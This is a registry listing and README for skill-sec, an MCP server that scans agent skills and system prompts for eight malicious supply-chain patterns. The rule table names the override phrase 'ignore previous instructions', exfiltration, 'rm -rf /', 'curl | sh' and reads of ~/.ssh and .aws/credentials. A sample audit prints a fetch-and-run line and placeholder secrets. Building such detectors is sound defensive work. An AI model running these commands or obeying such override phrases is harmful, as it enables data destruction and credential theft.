skill-sec MCP server
Commit Aug 30, 2026Audits agent skills, system prompts, and files against eight malicious supply-chain attack patterns using a deterministic, no-LLM scanner.
Also known as sudo-ai-git/mcp-skill-sec
- Stars
- 0
- Tools
- 4
- Downloads, 30 days
- 106
- Latest version
- 1.0.0
- Last commit
- Aug 30, 2026
- License
- —
What is skill-sec MCP?
skill-sec audits agent skills, system prompts, and files against eight malicious supply-chain attack patterns using a deterministic, no-LLM scanner. It exposes 4 tools, such as audit_text, audit_skill_file, audit_directory.
Summary generated from the project's README
About skill-sec MCP server
Securing agentic workflows by scanning skills and system prompts for malicious patterns is the primary function of mcp-skill-sec. Developers using Claude Code, Cursor, Copilot, or other MCP-compatible agents can use this tool to prevent supply-chain attacks before they execute untrusted code. It operates as a deterministic scanner that requires no LLM and makes no network calls, ensuring that the auditing process itself remains private and predictable.
Users can run the server locally via stdio or host it remotely using Streamable HTTP on a specific port. The server provides specific tools like audit_text for individual strings, audit_skill_file for files like SKILL.md or CLAUDE.md, and audit_directory to scan entire collections of downloaded skills. It checks for eight specific rules ranging from prompt injection and data exfiltration to hardcoded secrets and dangerous commands like rm -rf. Every finding includes a severity level, a line number, and the specific evidence found to help developers remediate risks.
What you can do with it
- 1Audit a single system promptVerify that a new system prompt does not contain instruction hijack attempts or identity overrides.
- 2Scan downloaded skill collectionsPerform a bulk security check on a directory of downloaded files to ensure no malicious patterns exist.
- 3Detect hardcoded credentialsIdentify if any files contain sensitive information like API keys or private keys before they are used by an agent.
Written from the project's README. Every use case is checked against a quote from it.
How to install skill-sec MCP
Formats verified 10 Nov 2026Add to CursorAdd to GooseInstall skill-sec MCP in Claude Code
$ claude mcp add mcp-skill-sec -- uvx mcp-skill-secInstall skill-sec MCP in Cursor
~/.cursor/mcp.json
{
"mcpServers": {
"mcp-skill-sec": {
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}Install skill-sec MCP in VS Code
.vscode/mcp.json
{
"servers": {
"mcp-skill-sec": {
"type": "stdio",
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}Install skill-sec MCP in VS Code CLI
$ code --add-mcp '{"name":"mcp-skill-sec","type":"stdio","command":"uvx","args":["mcp-skill-sec"]}'Install skill-sec MCP in Claude Desktop
claude_desktop_config.json
{
"mcpServers": {
"mcp-skill-sec": {
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}Install skill-sec MCP in Codex
$ codex mcp add mcp-skill-sec -- uvx mcp-skill-secInstall skill-sec MCP in Codex config.toml
~/.codex/config.toml
[mcp_servers.mcp-skill-sec] command = "uvx" args = ["mcp-skill-sec"]
Install skill-sec MCP in Gemini CLI
$ gemini mcp add -s user mcp-skill-sec uvx -- mcp-skill-secInstall skill-sec MCP in Gemini settings.json
~/.gemini/settings.json
{
"mcpServers": {
"mcp-skill-sec": {
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}skill-sec MCP tools 4
Detected from the READMEaudit_textaudit_skill_fileaudit_directoryrule_list
Automated checks
Ran Nov 15, 2026Full report →Not verified yet. A server needs a score of 80, no serious finding, and enough data for us to check. How checks work · What to fix for more points
- Source repository linked and reachablesudo-ai-git/mcp-skill-sec is public and reachablegithub.com/sudo-ai-git/mcp-skill-sec ↗Pass
- Package names this repository as its sourcemcp-skill-sec names sudo-ai-git/mcp-skill-sec as sourcepypi.org/project/mcp-skill-sec/ ↗Pass
- Build provenance (Sigstore attestation)No build attestation published for this releaseNot checked
- Open source license (OSI)No licenseFinding
- Commit or release in the last yearLast commit or release 2026-08-30github.com/sudo-ai-git/mcp-skill-sec ↗Pass
- OpenSSF ScorecardNot checked
- Package name not close to a popular packageNo popular package one edit away from mcp-skill-secPass
- No critical advisory in the package or its dependencies29 resolved dependencies checked; no critical advisoryosv.dev ↗Pass
- No hidden instructions to the modelInstruction aimed at the model found in the description or READMEFinding
- Destructive tools are labelledNo tool named like delete, drop or execPass
- Remote endpoint answers the MCP handshakeNot checked
README
View on GitHubmcp-skill-sec
A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.
Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.
What it scans for (rules R1–R8)
| Rule | Pattern |
|---|---|
| R1 | Prompt injection / instruction hijack (ignore previous instructions, secrecy directives, identity overrides) |
| R2 | Data exfiltration intent (send/post/email contents to a URL, log theft) |
| R3 | Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings) |
| R4 | Dangerous commands (rm -rf /, curl | sh, fork bombs, raw device writes) |
| R5 | Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars) |
| R6 | Untrusted external fetches (fetch-and-run, non-PyPI installs) |
| R7 | Credential access (reading ~/.ssh, .aws/credentials, .env) |
| R8 | Privilege escalation (sudo -s, setuid, adding to sudo group) |
Each finding carries a severity (critical/high/medium/low), a line number,
and the matching evidence line. The overall verdict is PASS only when
there are no critical/high findings and every medium finding is benign.
Tools
audit_text(text, filename)— audit a string (a skill you were pasted, a system prompt you didn't write).audit_skill_file(path)— audit aSKILL.md/AGENTS.md/CLAUDE.mdon disk, line-numbered evidence.audit_directory(path, pattern)— audit a whole downloaded skills collection; returns per-file verdicts + a summary.rule_list()— dump the rule catalog.
Install & run
One command (recommended) — installs from the repo, no PyPI token needed:
uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec
# then register with your agent:
mcp-skill-sec # run stdio server
mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote use
Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec
Direct from source (fallback):
pip install mcp
python3 mcp_server.py # run stdio
mcp install mcp_server.py --name skill-sec # register with Claude Desktop
Claude Desktop / agent config
{
"mcpServers": {
"skill-sec": {
"command": "mcp-skill-sec",
"args": []
}
}
}
Example
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG
counts : critical 1, high 2, medium 1, low 0
R3 [critical] line 11: api_key = "sk-live-…"
R3 [high] line 14: password = "hunter2"
R4 [critical] line 22: curl https://x/y.sh | sh
action : remove the literal secrets, drop the fetch-and-run, re-audit
Part of a family
This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:
mcp-skill-sec— pre-install skill/security audit (this repo)mcp-verify-claim— evidence-gated, honestly-tiered claim reportingmcp-benchmark-hygiene— pytest config-leakage / eval-honesty detection
Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion
Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.
License & provenance
MIT. Written by sudo-ai-git. This is a standalone security/verification
tool; it encodes no proprietary method. It is the MCP expression of the
skill-sec agent skill (same rules, callable as a server instead of a skill).
Official MCP Registry metadata
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
Hire a custom integration
Need this connected to your internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.
skill-sec MCP questions
How do I add skill-sec MCP to Claude Code?
Run claude mcp add mcp-skill-sec -- uvx mcp-skill-sec in your terminal. Add --scope user to make it available in every project.
How do I add skill-sec MCP to Cursor?
Open ~/.cursor/mcp.json and add the server under mcpServers, using the Cursor config shown in the install section above.
What tools does skill-sec MCP provide?
It exposes 4 tools, including audit_text, audit_skill_file, audit_directory, rule_list.
Does this server use an LLM to perform scans?
No, it is a deterministic scanner that does not use LLMs or make network calls.
How is a verdict determined?
A verdict is only a PASS if there are no critical or high severity findings and all medium findings are determined to be benign.